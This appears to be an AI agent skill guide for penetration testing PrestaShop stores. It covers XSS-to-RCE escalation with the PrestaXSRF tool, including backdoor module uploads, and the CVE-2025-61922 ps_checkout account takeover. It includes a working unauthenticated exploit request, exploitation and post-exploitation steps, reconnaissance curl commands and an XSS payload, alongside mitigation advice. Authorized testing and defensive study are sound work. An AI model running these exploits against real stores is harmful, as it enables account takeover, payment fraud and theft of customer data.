Prestashop Pentest

PrestaShop Pentesting

A skill for testing PrestaShop e-commerce installations for security vulnerabilities, including XSS-to-RCE escalation and account takeover attacks.

When to Use This Skill

Use this skill when:

• Testing a PrestaShop installation for vulnerabilities
• You have found XSS in a PrestaShop site and want to escalate to RCE
• Testing the ps_checkout module for CVE-2025-61922
• Analyzing PrestaShop 8.X.X or 1.7.X.X versions
• You need to understand PrestaShop exploitation techniques

Vulnerability Coverage

1. XSS to RCE Escalation (PrestaXSRF)

The PrestaXSRF tool allows escalation from XSS to RCE or other critical vulnerabilities in PrestaShop.

Supported Versions:

• PrestaShop 8.X.X
• PrestaShop 1.7.X.X

Capabilities:

• Upload custom modules (persistent backdoors)
• RCE via PSUploadModule() function
• Other critical vulnerability exploitation

Tool: PrestaXSRF

Usage:

# Clone the tool
git clone https://github.com/nowak0x01/PrestaXSRF
cd PrestaXSRF

# Run against target
python3 prestaxsrf.py -u <target_url> -x <xss_payload>

Research: PrestaXSRF Technical Analysis

2. CVE-2025-61922: ps_checkout Account Takeover

Vulnerability: Missing identity validation in ps_checkout module versions < 5.0.5 allows unauthenticated attackers to switch sessions to any customer by supplying their email address.

Affected Component: ps_checkout module < 5.0.5

Attack Vector:

• Endpoint: POST /module/ps_checkout/ExpressCheckout
• Authentication: None required (unauthenticated)
• Impact: Account takeover, PII access, purchases with saved payment methods

Technical Details:

The vulnerability exists because:

1. ExpressCheckout.php accepts attacker-controlled JSON and only validates orderID
2. It builds ExpressCheckoutRequest and calls ExpressCheckoutAction::execute()
3. In vulnerable versions, when no user is logged in, CustomerAuthenticationAction::execute() is called
4. This method only checks customerExists(<payer_email>) and then does context->updateCustomer(new Customer($id))
5. Result: Email existence == login (no password or token verification)
6. The attacker controls order.payer.email_address in the JSON payload

Exploitation Steps:

1. Reconnaissance: Collect any registered customer email address (admin accounts are separate and not affected)

2. Exploitation: Send an unauthenticated POST request to the controller with orderID and the victim email in order.payer.email_address

3. Session Hijack: Even if the endpoint returns HTTP 500, the response will include cookies for the victim's customer context (session already switched)

4. Post-Exploitation: Access PII, view order history, or make purchases with saved payment methods

Exploit Request:

POST /module/ps_checkout/ExpressCheckout HTTP/1.1
Host: <target>
Content-Type: application/json
Content-Length: 72

{"orderID":"1","order":{"payer":{"email_address":"victim@example.com"}}}

Detection:

Check if the ps_checkout module is installed and its version:

# Check module version in source code
curl -s https://<target>/module/ps_checkout/ | grep -i "version"

# Or check via API if available
curl -s https://<target>/api/modules/ps_checkout

Mitigation:

• Update ps_checkout module to version 5.0.5 or later
• Implement proper identity validation in ExpressCheckout flow
• Add CSRF tokens to sensitive endpoints
• Validate session state before allowing account actions

Testing Workflow

Step 1: Identify PrestaShop Version

# Check version from source
curl -s https://<target> | grep -i "prestashop"

# Check via robots.txt
curl -s https://<target>/robots.txt

# Check via sitemap
curl -s https://<target>/sitemap.xml

Step 2: Check for ps_checkout Module

# Check if module exists
curl -s https://<target>/module/ps_checkout/

# Check module version
curl -s https://<target>/module/ps_checkout/ExpressCheckout.php | head -20

Step 3: Test for CVE-2025-61922

Use the provided script test_ps_checkout.py to test for the vulnerability:

python3 scripts/test_ps_checkout.py --target https://<target> --email victim@example.com

Step 4: If XSS Found, Escalate with PrestaXSRF

If you've identified XSS vulnerabilities:

# Use PrestaXSRF to escalate
python3 scripts/run_prestaxsrf.py --target https://<target> --xss-payload "<script>alert(1)</script>"

Safety and Ethics

• Only test systems you have explicit authorization to test
• Document all findings for remediation
• Report vulnerabilities responsibly to site owners
• Do not use these techniques for unauthorized access

References

• CVE-2025-61922 Analysis
• GitHub Advisory GHSA-54hq-mf6h-48xh
• PrestaXSRF Tool
• PrestaXSRF Technical Paper